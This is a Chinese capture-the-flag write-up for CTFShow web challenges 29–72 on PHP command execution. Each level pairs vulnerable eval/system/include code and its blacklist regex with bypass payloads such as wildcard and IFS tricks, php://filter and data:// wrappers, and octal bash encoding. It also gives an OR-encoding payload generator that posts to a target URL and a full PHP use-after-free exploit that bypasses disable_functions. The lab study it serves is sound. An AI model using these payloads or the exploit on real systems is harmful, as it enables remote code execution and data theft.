CTFShow_WEB
命令执行
web29
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); }
}else{ highlight_file(__FILE__);} 过滤了 flag 字段,可以使用 * 通配符进行过滤
payload:?c=system("tac%20fla*");
web30
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); }
}else{ highlight_file(__FILE__);}这次过滤了 flag,system,php;
因此思考有什么能替代 system 函数:
-
PHP命令执行函数
函数 作用 eg system()用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。 system('cat /etc/passwd'); exec()可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。 exec('cat /etc/passwd', $result); print_r($result); shell_exec()执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。 echo shell_exec('cat /etc/passwd'); passthru()执行系统命令并将执行结果输出到页面中,支持二进制数据。 passthru('cat /etc/passwd'); popen()执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。 $result = popen('cat /etc/passwd', 'r'); echo fread($result, 100); 反引号用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。 echo \cat /etc/passwd;
这里使用 passthru() 函数
payload:?c=passthru("tac fla*");
web31
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); }
}else{ highlight_file(__FILE__);}相比上题,多过滤了更多的函数以及空格
空格,可以使用
%09、$IFS$9、${IFS}代替
payload:?c=passthru("tac%09fla*");
web32
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); }
}else{ highlight_file(__FILE__);} 这次较上一题过滤了更多符号,; ( 的过滤导致无法继续使用上面的方法
这里使用文件包含:
payload:c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
解释一下:
- 首先是 include+ 参数 1,作用是包含参数 1 的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd 和 nginx 的日志文件来定位 flag 位置
- 然后是 %0a 作用,这是 url 回车符,因为空格被过滤。事实上,删去也无所谓,似乎 php 会自动给字符串和变量间添加空格(经检验,只在 eval 中有效,echo 中无效,还是得要空格)
- 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php 遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是 php 文件中最后一句在?>前可以不写分号。
- 在 c 中引用了参数 1,然后&后对参数 1 定义,运用文件包含漏洞
web33
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); }
}else{ highlight_file(__FILE__);}上题方法依然可行
payload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web34
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); }
}else{ highlight_file(__FILE__);}依旧同上
payload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web35
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); }
}else{ highlight_file(__FILE__);}仍然同上
payload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web36
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); }
}else{ highlight_file(__FILE__);}相较于上题,过滤了数字,因此将 URL 回车符删掉,并替换参数为字母
payload:?c=include$_GET[e]?>&e=php://filter/convert.base64-encode/resource=flag.php
web37
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag;
}
}else{ highlight_file(__FILE__);}这里使用 data 伪协议、文件包含漏洞
payload:?c=data:text/plain,<?php system('tac fla*.php');?>
解释:
-
data: 是 PHP 支持的数据流封装器,用于将纯文本直接作为文件内容读取。data:// 是 PHP 的数据协议,它允许在 URL 中直接嵌入文件内容,常用于传输小块数据,而不是指向实际的文件系统路径。 -
text/plain, 表示 MIME 类型,这里不会影响执行。 -
<?php system('tac fla*.php');?> 是直接放入的数据内容,data 封装器会将其视为一个“文件内容”。
web38
//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag;
}
}else{ highlight_file(__FILE__);} 相较于上题,过滤了 php,这里采用短标签 = 替换 php
payload:?c=data:text/plain,<?= system('tac fla*');?>
web39
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); }
}else{ highlight_file(__FILE__);}.php 并不会影响行为,因为拼接的 .php 被“忽视”,因为 PHP 认为整个字符串(包括 .php)是一个数据流 URL,而不是文件路径。
payload:?c=data:text/plain,<?= system('tac fla*');?>
web40
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); }
}else{ highlight_file(__FILE__);}无参数RCE
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
解释一下:
1. localeconv()
- 返回当前语言环境的数字和货币格式信息,是一个 关联数组。
2. pos(localeconv())
-
pos() 是current() 的别名,用来获取数组中第一个元素的值(不是 key)。 - 所以
pos(localeconv()) 会返回localeconv() 数组中第一个值,可能是"."。
3. scandir(...)
- 扫描指定目录,返回该目录下的文件和文件夹名的数组。
- 如果
pos(localeconv()) 是".",那就相当于scandir("."),列出当前目录下的所有文件和目录。
4. array_reverse(...)
- 反转文件列表,使最后的文件排在最前。
5. next(...)
-
next() 返回数组中的第二个元素。
这段代码的整体含义是:
获取当前目录中倒序排列的第二个文件名,然后用 show_source() 显示这个文件的源代码。
web41
if(isset($_POST['c'])){ $c = $_POST['c'];if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); }}else{ highlight_file(__FILE__);}?>屏蔽了数字和字母,还屏蔽了一些其他的特殊字符。屏蔽的比较多
可以跑脚本来生成可用字符的集合。
思路是:
从所有字符(ASCII[0-255])中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符。
先用脚本生成可用字符的集合:
<?php/*# -*- coding: utf-8 -*-# @Author: Y4tacker# @Date: 2020-11-21 20:31:22*///或function orRce($par1, $par2){ $result = (urldecode($par1)|urldecode($par2)); return $result;}
//异或function xorRce($par1, $par2){ $result = (urldecode($par1)^urldecode($par2)); return $result;}
//取反function negateRce(){ fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';}
//mode=1代表或,2代表异或,3代表取反//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式function generate($mode, $preg='/[0-9]/i'){ if ($mode!=3){ $myfile = fopen("rce.txt", "w"); $contents = "";
for ($i=0;$i<256;$i++){ for ($j=0;$j<256;$j++){ if ($i<16){ $hex_i = '0'.dechex($i); }else{ $hex_i = dechex($i); } if ($j<16){ $hex_j = '0'.dechex($j); }else{ $hex_j = dechex($j); } if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; }else{ $par1 = "%".$hex_i; $par2 = '%'.$hex_j; $res = ''; if ($mode==1){ $res = orRce($par1, $par2); }else if ($mode==2){ $res = xorRce($par1, $par2); }
if (ord($res)>=32&ord($res)<=126){ $contents=$contents.$res." ".$par1." ".$par2."\n"; } } }
} fwrite($myfile,$contents); fclose($myfile); }else{ negateRce(); }}generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');//1代表模式,后面的是过滤规则通过源码可以发现,没有过滤或运算|,因此脚本中设置的mode为1,也就是或运算,运行此脚本。
接下来我们再利用脚本:
import requestsimport urllibfrom sys import *import os
os.system("php D:\\phpstudy_pro\\WWW\\rce_fuzz.php") # 没有将php写入环境变量需手动运行if (len(argv) != 2): print("=" * 50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("=" * 50) exit(0)url = argv[1]
def action(arg): s1 = "" s2 = "" for i in arg: f = open(r"D:\phpstudy_pro\WWW\rce.txt", "r")//填txt的文件位置 while True: t = f.readline() if t == "": break if t[0] == i: # print(i) s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return (output)
while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) data = { 'c': urllib.parse.unquote(param) } r = requests.post(url, data=data) print("\n[*] result:\n" + r.text)注意更改php脚本的位置和生成的rce.txt的位置,还有接受的参数比如上面是c,换个参数就把c改了就行,再配置一下php的环境变量即可。
web42
if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1");}else{ highlight_file(__FILE__);}这里的/dev/null 2>&1是进行了重定向,不进行回显。
重定向语法
基本语法
表达式 含义 >文件将标准输出(stdout)重定向到一个文件(覆盖写入) >>文件将标准输出重定向到一个文件(追加写入) 2>文件将标准错误(stderr)重定向到一个文件 2>&1将标准错误重定向到标准输出所在的位置 /dev/null特殊设备,写入它的数据会被丢弃(相当于“黑洞”) 组合用法举例
command > /dev/null 2>&1含义分解:
> /dev/null:把标准输出丢弃。
2>&1:把标准错误也重定向到标准输出(即也丢弃)。✅ 结果是命令既不输出正常信息,也不输出错误信息, “静默执行” 。
使用;分割一下,构造payload
payload:?c=tac flag.php;ls
web43
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);} 相较于上题,多过滤了cat和;
使用||进行分割
使用分隔进行双写绕过:
; 分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
==%26a &的url编码==
==%0a 换行符的url 编码==
注意:
#在URL中是特殊字符,要把 # 通过 GET 请求传输, 需要进行URL编码:# ->%23?c=tac flag.php;ls
system()
passthru()
``也可以视为命令执行cat,sort可以用
tail,tac,nl等代替空格,可以使用
%09、$IFS$9、${IFS}代替过滤的flag,php,点,可以用通配符*或?代替.
嵌套函数(使用跳板)(逃逸)
c=eval($_GET[a]);&a=system('cat flag.php');文件包含
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php其中
%0a为换行符,而?>替代了;c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php伪协议
?c=data://text/plain,<?php system("tac fla*");?>短标签
/?c=data://text/plain,<?= system("tac fla*");?>php中不需要括号的函数
echo 123;print 123;die;include "/etc/passwd";require "/etc/passwd";include_once "/etc/passwd";require_once "etc/passwd";日志注入
?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
payload:?c=tac flag.php||ls
web44
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);} 相较上题,多过滤了个flag,使用替换符?替换一下就好
payload:?c=tac fla?.php||ls
web45
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}相较于上题,多过滤了空格,替代空格即可
空格,可以使用
%09、$IFS$9、${IFS}代替
payload:?c=tac%09fla*||ls
web46
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}虽然相比于上题,过滤了更多的符号,但只要更换替换符即可
payload:?c=tac%09fla?.php||ls
web47
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}通上,即使过滤了数字等更多符号,上题的payload依然不受影响
payload:?c=tac%09fla?.php||ls
web48
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}上题payload依然可用
payload:?c=tac%09fla?.php||ls
web49
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);} 依然使用上题payload(雾:?c=tac%09fla?.php||ls
说明:
PHP 会自动对 $_GET 中的参数进行 URL 解码,因此 % 在黑名单检查之前就已经变成了对应字符\t,也就是 根本不会被 % 的正则命中。
web50
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}这次09被过滤了,换一种方法:
payload:?c=tac<fl''ag.php%0a
解释一下:
| 部分 | 说明 |
|---|---|
tac | Linux 下的命令,类似cat,但会将文件的行倒序输出 |
< | 输入重定向,表示读取后面文件的内容 |
fl''ag.php | 等价于flag.php,使用两个单引号''拼接绕过过滤规则(例如防止出现完整的flag字符串) |
%0a | URL 编码的换行符\n,可用于终止命令或注入新的一行命令(视上下文) |
web51
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);} 相较于上题目,本题ban掉了tac,可以使用nl替代后查看网页源码
cat,sort可以用
tail,tac,nl等代替
payload:?c=nl<fl''ag.php%0a
web52
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);} 这次过滤了>,无法使用重定向了。
但是放开了$,因此可以使用${IFS}替代空格
payload:?c=ta\c${IFS}/fla''g%0a
web53
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; }}else{ highlight_file(__FILE__);}如上题一样,只不过不是重定向了,而是会输出输入的命令
payoad:?c=ta\c${IFS}fla''g.php
web54
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }}else{ highlight_file(__FILE__);}过滤了蛮多的,而且使用了模糊匹配:
只要字符串中包含正则中的字母,按顺序出现,中间可以有任意字符,就会被匹配。
玩一个rev函数绕过,会输出逆转后的flag
payload:?c=rev${IFS}fla?.php
web55
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }}else{ highlight_file(__FILE__);}过滤了字母,这里使用采取基于bash特性的技巧
基于Bash的无字母命令执行
原理:bash能解析八进制状态的字母
成熟脚本:https://probiusofficial.github.io/bashFuck/
使用
echo $0 的方式获取当前运行的脚本名称即可查看自己的终端类型:root@Hello-CTF:echo $0bash # bash / dash如果直接与容器交互大概率能得到一个bash的结果,但是当我们使用system函数时,这其实会由sh去执行,所以如果我们使用system去执行上述命令,大概率会得到:
# echo $0sh但其实 sh 也是外包,通常它只是一个软连接,并不是真的有一个shell叫sh,要查看它最终的定向,我们可以使用
ls -l /bin/sh 使用 -l 参数列出:root@Hello-CTF:ls -l /bin/shlrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox如ls 可以通过$‘\154\163’ 的方式进行执行。
root@Hello-CTF:/home# $'\154\163'Challenge Hello-CTF_labs PHPSerialize-labs PHPinclude-labs RCE-labs但去dash中执行,会发现dash是无法解析他们的:
# $'\154\163'dash: 1: $\154\163: not found若 sh 的软连接指向 dash,那么用system函数也类似:
# $'\154\163'sh: 1: $\154\163: not found但是这种方法的缺陷就是无法一连串的指向带参命令,只能拆分开来:
bash-5.1# $'\143\141\164\40\57\146\154\141\147'bash: cat /flag: No such file or directorybash-5.1# $'\143\141\164' $'\57\146\154\141\147'flag{TEST_Dynamic_FLAG}
在线解题脚本:bashFuck
注意:空格前后要分成2个部分分别转换
例如:要转换tac flag.php,应该分为tac和flag.php两个部分分别转换
payload:?c=$'\164\141\143' $'\146\154\141\147\56\160\150\160'
web56
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }}else{ highlight_file(__FILE__);}难度升级,无字母数字的命令执行
知识点: .+空格+文件路径,会执行文件
当使用PHP上传文件时会生成一个临时文件 /tmp/php六个随机字符(PHP的临时文件包含大写字母,大写字母的范围在@到[之间)
同时?c=.%20/???/????????[@-[] 等效 /tmp/phpxxxxxx
所以只要构造一个文件上传包,文件内容为cat /var/www/html/flag.php,再执行临时文件就可以了

web57
//flag in 36.phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); }}else{ highlight_file(__FILE__);}很困难的一道题,但只需要凑出36即可
知识点:https://blog.csdn.net/qq_46091464/article/details/108563368
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反
${_}:代表上一次命令执行的结果
$(()): 做运算

所以可以拼接得到-37 , -37取反得到36

payload:$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))
查看源码即可
web58
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}改为了post传参,但是对于许多命令执行的函数都禁用了(system,passthru)
可以使用文件包含:
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
也可以使用读取文件的函数:
payload:c=show_source('flag.php');
web59
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web60
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web61
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web62
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web63
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web64
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web65
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}同上题一样,文件包含依然可以绕过
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php
或者直接show_source也可以
payload:c=show_source('flag.php');
web66
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}这次flag不在flag.php里了,可以使用scandir先找到目录
c=print_r(scandir("/"));或者
c=var_dump(scandir('/'));
发现flag在/flag.txt下
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt
web67
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}同上题一样
c=print_r(scandir("/"));或者
c=var_dump(scandir('/'));
发现flag在/flag.txt下
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt
web68
同上题一样,但是估计题有bug,源码显示报错(雾)
同时过滤了print_r
c=var_dump(scandir('/'));
发现flag在/flag.txt下
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt
web69
同上题一样,源码显示报错(雾)
同时过滤了var_dump,那这里使用var_export
c=var_export(scandir("/"));
找到flag位置(与上题一样)
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt
web70
同上题一样
c=var_export(scandir("/"));
找到flag位置(与上题一样)
payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt
web71
error_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s);}else{ highlight_file(__FILE__);}源码在附件中
解释一下:
$s = ob_get_contents();ob_end_clean();这两行的作用是尝试从输出缓冲区获取内容并清空缓冲,将缓冲区关闭,但不会输出内容
echo preg_replace("/[0-9]|[a-z]/i","?",$s); 把输出中的所有**数字和字母(不区分大小写)**都替换成 ? 后再输出。
即:
源码劫持了输出缓冲并且将数字和字母替换成了?。
所以可以提前终止程序,即执行完代码直接退出,可以调用的函数有:
exit();die();payload:
c=var_export(scandir("/"));die();
获取flag位置后
c=include("/flag.txt");die();
web72
很难的一道题
error_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s);}else{ highlight_file(__FILE__);}由于open_basedir限制的访问区域,所以之前的方法无法扫描目录(open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域)
但是可以通过,php伪协议,glob://绕过
payload:c=var_export(scandir('glob:///*'));exit();
其中,glob://为协议,/*为根目录所有内容。
发现flag0.txt
这里有一个开源的uaf脚本,直接使用,用到了一点pwn的知识(需要URL编码后使用。)
<?php
function ctfshow($cmd) { global $abc, $helper, $backtrace;
class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } }
class Helper { public $a, $b, $c, $d; }
function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; }
function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; }
function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } }
function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; }
function parse_elf($base) { $e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } }
if(!$data_addr || !$text_size || !$data_size) return false;
return [$data_addr, $text_size, $data_size]; }
function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak);
if($deref != 0x746e6174736e6f63) continue; } else continue;
$leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak);
if($deref != 0x786568326e6962) continue; } else continue;
return $data_addr + $i * 8; } }
function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } }
function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; }
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; }
if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); }
$n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x'); $abc = $backtrace[1]['args'][0];
$helper = new Helper; $helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); }
$closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2); write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); }
if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); }
if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); }
if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); }
$fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); }
write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd); exit();}
ctfshow("cat /flag0.txt");ob_end_flush();?>最终获取的payload:
